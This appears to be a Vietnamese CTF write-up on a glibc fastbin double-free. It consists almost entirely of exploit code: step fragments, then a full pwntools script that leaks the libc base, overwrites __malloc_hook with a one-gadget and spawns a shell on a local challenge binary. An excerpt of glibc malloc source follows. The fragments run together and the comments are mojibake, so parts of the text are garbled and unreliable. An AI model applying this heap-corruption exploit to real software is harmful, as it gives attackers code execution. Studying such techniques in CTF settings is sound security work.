Double Free
Last updated
createHeap(0, 0x80, b"A" * 0x80)
createHeap(1, 0x20, b"B" * 0x20)
deleteHeap(0)
showHeap(0)createHeap(2, 0x40, b"a"*8)
createHeap(3, 0x40, b"b"*8)
deleteHeap(2)
deleteHeap(3) #Phแบฃi free 3 trฦฐแปc bแปi vรฌ ta khรดng thแป free 2 lแบงn liรชn tiแบฟp nhau.
deleteHeap(2)createHeap(2, 0x40, p64(malloc_hook) - 35)createHeap(4, 0x60, p64(malloc_hook))
createHeap(5, 0x60, b"K"*8)
createHeap(6, 0x60, b"N"*8)
payload = b"Kinabler"
createHeap(7, 0x60, payload)payload = p64(ogadget3)
createHeap(7, 0x50, payload)payload = p64(ogadget3)
createHeap(7, 0x60, payload)payload = b"@" * 19 + p64(ogadget3) # Tรดi chแปn one-gadget3 vรฌ stack thฦฐแปng แปn ฤแปnh hฦกn thanh ghi
createHeap(7, 0x60, payload)from pwn import *
elf = context.binary = ELF("./pwn2_df_patched")
libc = elf.libc
r = elf.process()
gdb.attach(r, '''
b*createHeap+115\n
b*deleteHeap+123\n
b*editHeap+150\n
b*showHeap+128\n
c
''')
context.log_level = "DEBUG"
context.arch = "amd64"
def createHeap(index,size,payload:bytes):
r.sendlineafter(b">\n", str(1).encode())
r.sendlineafter(b"Index:", str(index).encode())
r.sendlineafter(b"Input size:", str(size).encode())
r.sendlineafter(b"Input data:", payload)
def deleteHeap(index):
r.sendlineafter(b">\n", str(4).encode())
r.sendlineafter(b"Input index:", str(index).encode())
def editHeap(index, payload:bytes):
r.sendlineafter(b">\n", str(3).encode())
r.sendlineafter(b"Input index:", str(index).encode())
r.sendline(payload)
def showHeap(index):
r.sendlineafter(b">\n", str(2).encode())
r.sendlineafter(b"Index:",str(index).encode())
createHeap(0, 0x80, b"A" * 0x80)
createHeap(1, 0x20, b"B" * 0x20)
deleteHeap(0)
showHeap(0)
r.recvuntil(b"Data = ")
libc.address = u64(r.recv(6).ljust(8,b"\0")) - 0x39bb78
log.success(f"LIBC BASE: {hex(libc.address)}")
malloc_hook = libc.address + 0x39bb10
log.success(f"Malloc Hook: {hex(malloc_hook)}")
ogadget1 = 0x3f3d6 + libc.address
ogadget2 = 0x3f42a + libc.address
ogadget3 = 0xd5bf7 + libc.address
createHeap(2, 0x60, b"a"*7)
createHeap(3, 0x60, b"b"*7)
deleteHeap(2)
deleteHeap(3)
deleteHeap(2)
createHeap(4, 0x60, p64(malloc_hook- 35))
createHeap(5, 0x60, b"K"*8)
createHeap(6, 0x60, b"N"*8)
payload = b"@" * 19 + p64(ogadget3)
createHeap(7, 0x60, payload)
deleteHeap(6)
deleteHeap(6)
r.interactive()#define REMOVE_FB(fb, victim, pp) \
do \
{ \
victim = pp; \
if (victim == NULL) \
break; \
} \
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) \
!= victim); \
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;
else
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}